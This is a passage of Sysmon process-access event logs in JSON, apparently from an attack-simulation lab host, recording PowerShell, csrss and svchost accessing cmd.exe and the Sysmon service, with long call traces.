ystem.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83443(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bf05c6f(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7c02b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c934fce(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3beb12fd(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010DC490800}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be835cf(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83443(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bf05c6f(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7c02b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c934fce(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3beb12fd(wow64)","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010DC490800}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010DC490800}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 